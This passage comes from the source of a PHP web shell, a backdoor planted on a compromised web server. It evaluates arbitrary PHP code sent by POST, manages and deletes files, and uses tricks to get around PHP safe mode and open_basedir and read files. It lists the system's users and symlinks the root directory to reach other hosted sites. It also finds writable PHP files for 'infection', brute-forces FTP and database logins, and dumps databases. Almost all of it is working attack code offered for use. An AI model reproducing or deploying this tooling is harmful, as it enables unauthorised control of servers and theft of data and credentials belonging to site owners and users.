657 printFooter();
658}
659// Console end --------------------
660// PHP -----------------------
661function actionPhp() {
662 if( isset($_POST['ajax']) ) {
663 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
664 ob_start();
665 eval($_POST['p1']);
666 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
667 echo strlen($temp), "\n", $temp;
668 exit;
669 }
670 printHeader();
671 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
672 echo '<h1>PHP info</h1><div class=content>';
673 ob_start();
674 phpinfo();
675 $tmp = ob_get_clean();
676 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
677 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
678 $tmp = preg_replace('!h1!msiU','h2',$tmp);
679 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
680 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
681 echo $tmp;
682 echo '</div><br>';
683 }
684 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
685 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
686 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
687 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
688 if(!empty($_POST['p1'])) {
689 ob_start();
690 eval($_POST['p1']);
691 echo htmlspecialchars(ob_get_clean());
692 }
693 echo '</pre></div>';
694 printFooter();
695}
696// PHP end --------------------
697// File manager go --------------------
698function actionFilesMan() {
699 printHeader();
700 echo '<h1>File manager</h1><div class=content>';
701 if(isset($_POST['p1'])) {
702 switch($_POST['p1']) {
703 case 'uploadFile':
704 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
705 echo "Can't upload file!";
706 break;
707 break;
708 case 'mkdir':
709 if(!@mkdir($_POST['p2']))
710 echo "Can't create new dir";
711 break;
712 case 'delete':
713 function deleteDir($path) {
714 $path = (substr($path,-1)=='/') ? $path:$path.'/';
715 $dh = opendir($path);
716 while ( ($item = readdir($dh) ) !== false) {
717 $item = $path.$item;
718 if ( (basename($item) == "..") || (basename($item) == ".") )
719 continue;
720 $type = filetype($item);
721 if ($type == "dir")
722 deleteDir($item);
723 else
724 @unlink($item);
725 }
726 closedir($dh);
727 rmdir($path);
728 }
729 if(is_array(@$_POST['f']))
730 foreach($_POST['f'] as $f) {
731 $f = urldecode($f);
732 if(is_dir($f))
733 deleteDir($f);
734 else
735 @unlink($f);
736 }
737 break;
738 case 'paste':
739 if($_SESSION['act'] == 'copy') {
740 function copy_paste($c,$s,$d){
741 if(is_dir($c.$s)){
742 mkdir($d.$s);
743 $h = opendir($c.$s);
744 while (($f = readdir($h)) !== false)
745 if (($f != ".") and ($f != "..")) {
746 copy_paste($c.$s.'/',$f, $d.$s.'/');
747 }
748 } elseif(is_file($c.$s)) {
749 @copy($c.$s, $d.$s);
750 }
751 }
752 foreach($_SESSION['f'] as $f)
753 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
754 } elseif($_SESSION['act'] == 'move') {
755 function move_paste($c,$s,$d){
756 if(is_dir($c.$s)){
757 mkdir($d.$s);
758 $h = opendir($c.$s);
759 while (($f = readdir($h)) !== false)
760 if (($f != ".") and ($f != "..")) {
761 copy_paste($c.$s.'/',$f, $d.$s.'/');
762 }
763 } elseif(is_file($c.$s)) {
764 @copy($c.$s, $d.$s);
765 }
766 }
767 foreach($_SESSION['f'] as $f)
768 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
769 }
770 unset($_SESSION['f']);
771 break;
772 default:
773 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
774 $_SESSION['act'] = @$_POST['p1'];
775 $_SESSION['f'] = @$_POST['f'];
776 foreach($_SESSION['f'] as $k => $f)
777 $_SESSION['f'][$k] = urldecode($f);
778 $_SESSION['cwd'] = @$_POST['c'];
779 }
780 break;
781 }
782 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
783 }
784 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
785 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
786 global $sort;
787 $sort = array('name', 1);
788 if(!empty($_POST['p1'])) {
789 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
790 $sort = array($match[1], (int)$match[2]);
791 }
792?>
793<script>
794 function sa() {
795 for(i=0;i<document.files.elements.length;i++)
796 if(document.files.elements[i].type == 'checkbox')
797 document.files.elements[i].checked = document.files.elements[0].checked;
798 }
799</script>
800<table width='100%' class='main' cellspacing='0' cellpadding='2'>
801<form name=files method=post>
802<?php
803 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
804 $dirs = $files = $links = array();
805 $n = count($dirContent);
806 for($i=0;$i<$n;$i++) {
807 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
808 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
809 $tmp = array('name' => $dirContent[$i],
810 'path' => $GLOBALS['cwd'].$dirContent[$i],
811 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
812 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
813 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
814 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
815 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
816 );
817 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
818 $files[] = array_merge($tmp, array('type' => 'file'));
819 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
820 $links[] = array_merge($tmp, array('type' => 'link'));
821 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
822 $dirs[] = array_merge($tmp, array('type' => 'dir'));
823 }
824 $GLOBALS['sort'] = $sort;
825 function cmp($a, $b) {
826 if($GLOBALS['sort'][0] != 'size')
827 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
828 else
829 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
830 }
831 usort($files, "cmp");
832 usort($dirs, "cmp");
833 usort($links, "cmp");
834 $files = array_merge($dirs, $links, $files);
835 $l = 0;
836 foreach($files as $f) {
837 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
838 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
839 $l = $l?0:1;
840 }
841 ?>
842 <tr><td colspan=7>
843 <input type=hidden name=a value='FilesMan'>
844 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
845 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
846 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select> <input type="submit" value=">>"></td></tr>
847 </form></table></div>
848 <?php
849 printFooter();
850}
851// File manager end --------------------
852// String tools go --------------------
853function actionStringTools() {
854 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
855 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
856 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
857 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
858 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
859 $stringTools = array(
860 'Base64 encode' => 'base64_encode',
861 'Base64 decode' => 'base64_decode',
862 'Url encode' => 'urlencode',
863 'Url decode' => 'urldecode',
864 'Full urlencode' => 'full_urlencode',
865 'md5 hash' => 'md5',
866 'sha1 hash' => 'sha1',
867 'crypt' => 'crypt',
868 'CRC32' => 'crc32',
869 'ASCII to HEX' => 'ascii2hex',
870 'HEX to ASCII' => 'hex2ascii',
871 'HEX to DEC' => 'hexdec',
872 'HEX to BIN' => 'hex2bin',
873 'DEC to HEX' => 'dechex',
874 'DEC to BIN' => 'decbin',
875 'BIN to HEX' => 'binhex',
876 'BIN to DEC' => 'bindec',
877 'String to lower case' => 'strtolower',
878 'String to upper case' => 'strtoupper',
879 'Htmlspecialchars' => 'htmlspecialchars',
880 'String length' => 'strlen',
881 );
882 if(isset($_POST['ajax'])) {
883 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
884 ob_start();
885 if(in_array($_POST['p1'], $stringTools))
886 echo $_POST['p1']($_POST['p2']);
887 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
888 echo strlen($temp), "\n", $temp;
889 exit;
890 }
891 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
892 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = 0;
893 printHeader();
894 echo '<h1>String conversions</h1><div class=content>';
895 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
896 foreach($stringTools as $k => $v)
897 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
898 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
899 if(!empty($_POST['p1'])) {
900 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
901 }
902 echo"</pre></div><br><h1>Search files:</h1><div class=content>
903 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
904 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
905 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
906 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
907 <tr><td></td><td><input type='submit' value='>>'></td></tr>
908 </table></form>";
909 function printRecursiveGlob($path) {
910 if(substr($path, -1) != '/')
911 $path.='/';
912 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
913 if(is_array($paths)&&@count($paths)) {
914 foreach($paths as $item) {
915 if(@is_dir($item)){
916 if($path!=$item)
917 printRecursiveGlob($item);
918 } else {
919 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
920 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
921 }
922 }
923 }
924 }
925 if(@$_POST['p3'])
926 printRecursiveGlob($_POST['c']);
927 echo "</div><br><h1>Search for hash:</h1><div class=content>
928 <form method='post' target='_blank' name='hf'>
929 <input type='text' name='hash' style='width:200px;'><br>
930 <input type='hidden' name='act' value='find'/>
931 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
932 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
933 <input type='button' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
934 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
935 <input type='button' value='tools4noobs.com' onclick=\"document.hf.action='http://www.tools4noobs.com/online_php_functions/';document.hf.submit()\"><br>
936 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
937 <input type='button' value='artlebedev.ru' onclick=\"document.hf.action='https://www.artlebedev.ru/tools/decoder/';document.hf.submit()\"><br>
938 </form></div>";
939 printFooter();
940}
941// String tools end --------------------
942// Safe mode go ------------------------
943function actionSafeMode() {
944 $temp='';
945 ob_start();
946 switch($_POST['p1']) {
947 case 1:
948 $temp=@tempnam($test, 'cx');
949 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
950 echo @file_get_contents($temp);
951 unlink($temp);
952 } else
953 echo 'Sorry... Can\'t open file';
954 break;
955 case 2:
956 $files = glob($_POST['p2'].'*');
957 if( is_array($files) )
958 foreach ($files as $filename)
959 echo $filename."\n";
960 break;
961 case 3:
962 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
963 curl_exec($ch);
964 break;
965 case 4:
966 ini_restore("safe_mode");
967 ini_restore("open_basedir");
968 include($_POST['p2']);
969 break;
970 case 5:
971 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
972 $uid = @posix_getpwuid($_POST['p2']);
973 if ($uid)
974 echo join(':',$uid)."\n";
975 }
976 break;
977 case 6:
978 if(!function_exists('imap_open'))break;
979 $stream = imap_open($_POST['p2'], "", "");
980 if ($stream == FALSE)
981 break;
982 echo imap_body($stream, 1);
983 imap_close($stream);
984 break;
985 }
986 $temp = ob_get_clean();
987 printHeader();
988 echo '<h1>Safe mode bypass</h1><div class=content>';
989 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
990 if($temp)
991 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
992 echo '</div>';
993 printFooter();
994}
995// Safe mode end ---------------------
996// Logout go -------------------------
997function actionLogout() {
998 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
999 echo 'bye!';
1000}
1001// Logout end -------------------------
1002// Suicide go -------------------------
1003function actionSelfRemove() {
1004 printHeader();
1005 if($_POST['p1'] == 'yes') {
1006 if(@unlink(SELF_PATH))
1007 die('Shell has been removed');
1008 else
1009 echo 'unlink error!';
1010 }
1011 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1012 printFooter();
1013}
1014// Suicide end -------------------------
1015function actionTools() {
1016 printHeader();
1017
1018 printFooter();
1019}
1020// Domains go -------------------------
1021function actionDomains() {
1022 printHeader();
1023 error_reporting(0);
1024echo "<title>#Domains & Users</title>";
1025mkdir("sym");
1026symlink("/","0/x.txt");
1027$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
1028$f = fopen ('sym/.htaccess','w');
1029 fwrite($f , $c);
1030
1031$d0mains = @file("/etc/named.conf");
1032if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
1033echo "<table align=center border=1>
1034<tr bgcolor=teal><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
1035foreach($d0mains as $d0main){
1036if(eregi("zone",$d0main)){
1037preg_match_all('#zone "(.*)"#', $d0main, $domains);
1038flush();
1039if(strlen(trim($domains[1][0])) > 2){
1040$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1041echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td><td><a href='sym/x.txt/home/".$user['name']."/public_html'>Miremos</a></td></tr>"; flush();
1042}}}
1043echo "</table>
1044<p align='center'>
1045FailRoot'Cod3rz <a href='http://failroot.wordpress.com/'>FailRoot-Sec.Com</a> | <a
1046href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
1047</p>
1048";
1049 printFooter();
1050}
1051// Domains end -----------------------
1052// Infect go -------------------------
1053function actionInfect() {
1054 printHeader();
1055 echo '<h1>Infect</h1><div class=content>';
1056 if($_POST['p1'] == 'infect') {
1057 $target=$_SERVER['DOCUMENT_ROOT'];
1058 function ListFiles($dir) {
1059 if($dh = opendir($dir)) {
1060 $files = Array();
1061 $inner_files = Array();
1062 while($file = readdir($dh)) {
1063 if($file != "." && $file != "..") {
1064 if(is_dir($dir . "/" . $file)) {
1065 $inner_files = ListFiles($dir . "/" . $file);
1066 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1067 } else {
1068 array_push($files, $dir . "/" . $file);
1069 }
1070 }
1071 }
1072 closedir($dh);
1073 return $files;
1074 }
1075 }
1076 foreach (ListFiles($target) as $key=>$file){
1077 $nFile = substr($file, -4, 4);
1078 if($nFile == ".php" ){
1079 if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
1080 echo "$file<br>";
1081 $i++;
1082 }
1083 }
1084 }
1085 echo "<font color=red size=14>$i</font>";
1086 }else{
1087 echo "<form method=post><input type=submit value=Infect name=infet></form>";
1088 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
1089 }
1090 printFooter();
1091}
1092// Infect end -----------------------
1093// Bruteforce go --------------------
1094function actionBruteforce() {
1095 printHeader();
1096 if( isset($_POST['proto']) ) {
1097 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1098 if( $_POST['proto'] == 'ftp' ) {
1099 function bruteForce($ip,$port,$login,$pass) {
1100 $fp = @ftp_connect($ip, $port?$port:21);
1101 if(!$fp) return false;
1102 $res = @ftp_login($fp, $login, $pass);
1103 @ftp_close($fp);
1104 return $res;
1105 }
1106 } elseif( $_POST['proto'] == 'mysql' ) {
1107 function bruteForce($ip,$port,$login,$pass) {
1108 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1109 @mysql_close($res);
1110 return $res;
1111 }
1112 } elseif( $_POST['proto'] == 'pgsql' ) {
1113 function bruteForce($ip,$port,$login,$pass) {
1114 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1115 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1116 @pg_close($res);
1117 return $res;
1118 }
1119 }
1120 $success = 0;
1121 $attempts = 0;
1122 $server = explode(":", $_POST['server']);
1123 if($_POST['type'] == 1) {
1124 $temp = @file('/etc/passwd');
1125 if( is_array($temp) )
1126 foreach($temp as $line) {
1127 $line = explode(":", $line);
1128 ++$attempts;
1129 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1130 $success++;
1131 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1132 }
1133 if(@$_POST['reverse']) {
1134 $tmp = "";
1135 for($i=strlen($line[0])-1; $i>=0; --$i)
1136 $tmp .= $line[0][$i];
1137 ++$attempts;
1138 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1139 $success++;
1140 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1141 }
1142 }
1143 }
1144 } elseif($_POST['type'] == 2) {
1145 $temp = @file($_POST['dict']);
1146 if( is_array($temp) )
1147 foreach($temp as $line) {
1148 $line = trim($line);
1149 ++$attempts;
1150 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1151 $success++;
1152 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1153 }
1154 }
1155 }
1156 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1157 }
1158 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1159 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1160 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1161 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1162 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1163 .'<span>Server:port</span></td>'
1164 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1165 .'<tr><td><span>Brute type</span></td>'
1166 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1167 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1168 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1169 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1170 .'<td><input type=text name=login value="root"></td></tr>'
1171 .'<tr><td><span>Dictionary</span></td>'
1172 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1173 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1174 echo '</div><br>';
1175 printFooter();
1176}
1177// Bruteforce end --------------------
1178// Sql go ----------------------------
1179function actionSql() {
1180 class DbClass {
1181 var $type;
1182 var $link;
1183 var $res;
1184 function DbClass($type) {
1185 $this->type = $type;
1186 }
1187 function connect($host, $user, $pass, $dbname){
1188 switch($this->type) {
1189 case 'mysql':
1190 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1191 break;
1192 case 'pgsql':
1193 $host = explode(':', $host);
1194 if(!$host[1]) $host[1]=5432;
1195 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1196 break;
1197 }
1198 return false;
1199 }
1200 function selectdb($db) {
1201 switch($this->type) {
1202 case 'mysql':
1203 if (@mysql_select_db($db))return true;
1204 break;
1205 }
1206 return false;
1207 }
1208 function query($str) {
1209 switch($this->type) {
1210 case 'mysql':
1211 return $this->res = @mysql_query($str);
1212 break;
1213 case 'pgsql':
1214 return $this->res = @pg_query($this->link,$str);
1215 break;
1216 }
1217 return false;
1218 }
1219 function fetch() {
1220 $res = func_num_args()?func_get_arg(0):$this->res;
1221 switch($this->type) {
1222 case 'mysql':
1223 return @mysql_fetch_assoc($res);
1224 break;
1225 case 'pgsql':
1226 return @pg_fetch_assoc($res);
1227 break;
1228 }
1229 return false;
1230 }
1231 function listDbs() {
1232 switch($this->type) {
1233 case 'mysql':
1234 return $this->res = @mysql_list_dbs($this->link);
1235 break;
1236 case 'pgsql':
1237 return $this->res = $this->query("SELECT datname FROM pg_database");
1238 break;
1239 }
1240 return false;
1241 }
1242 function listTables() {
1243 switch($this->type) {
1244 case 'mysql':
1245 return $this->res = $this->query('SHOW TABLES');
1246 break;
1247 case 'pgsql':
1248 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1249 break;
1250 }
1251 return false;
1252 }
1253 function error() {
1254 switch($this->type) {
1255 case 'mysql':
1256 return @mysql_error($this->link);
1257 break;
1258 case 'pgsql':
1259 return @pg_last_error($this->link);
1260 break;
1261 }
1262 return false;
1263 }
1264 function setCharset($str) {
1265 switch($this->type) {
1266 case 'mysql':
1267 if(function_exists('mysql_set_charset'))
1268 return @mysql_set_charset($str, $this->link);
1269 else
1270 $this->query('SET CHARSET '.$str);
1271 break;
1272 case 'mysql':
1273 return @pg_set_client_encoding($this->link, $str);
1274 break;
1275 }
1276 return false;
1277 }
1278 function dump($table) {
1279 switch($this->type) {
1280 case 'mysql':
1281 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1282 $create = mysql_fetch_array($res);
1283 echo $create[1].";\n\n";
1284 $this->query('SELECT * FROM `'.$table.'`');
1285 while($item = $this->fetch()) {
1286 $columns = array();
1287 foreach($item as $k=>$v) {
1288 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1289 $columns[] = "`".$k."`";
1290 }
1291 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1292 }
1293 break;
1294 case 'pgsql':
1295 $this->query('SELECT * FROM '.$table);
1296 while($item = $this->fetch()) {
1297 $columns = array();
1298 foreach($item as $k=>$v) {
1299 $item[$k] = "'".addslashes($v)."'";
1300 $columns[] = $k;
1301 }
1302 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1303 }
1304 break;
1305 }
1306 return false;
1307 }
1308 };
1309 $db = new DbClass($_POST['type']);
1310 if(@$_POST['p2']=='download') {
1311 ob_start("ob_gzhandler", 4096);
1312 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1313 $db->selectdb($_POST['sql_base']);
1314 header("Content-Disposition: attachment; filename=dump.sql");
1315 header("Content-Type: text/plain");
1316 foreach($_POST['tbl'] as $v)
1317 $db->dump($v);
1318 exit;
1319 }
1320 printHeader();
1321 ?>
1322 <h1>Sql browser</h1><div class=content>
1323 <form name="sf" method="post">
1324 <table cellpadding="2" cellspacing="0">
1325 <tr>
1326 <td>Type</td>
1327 <td>Host</td>
1328 <td>Login</td>
1329 <td>Password</td>
1330 <td>Database</td>
1331 <td></td>
1332 </tr>
1333 <tr>
1334 <input type=hidden name=a value=Sql>
1335 <input type=hidden name=p1 value='query'>
1336 <input type=hidden name=p2>
1337 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
1338 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
1339 <td>
1340 <select name='type'>
1341 <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
1342 <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
1343 </select></td>
1344 <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
1345 <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
1346 <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
1347 <td>
1348 <?php
1349 $tmp = "<input type=text name=sql_base value=''>";
1350 if(isset($_POST['sql_host'])){
1351 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1352 switch($_POST['charset']) {
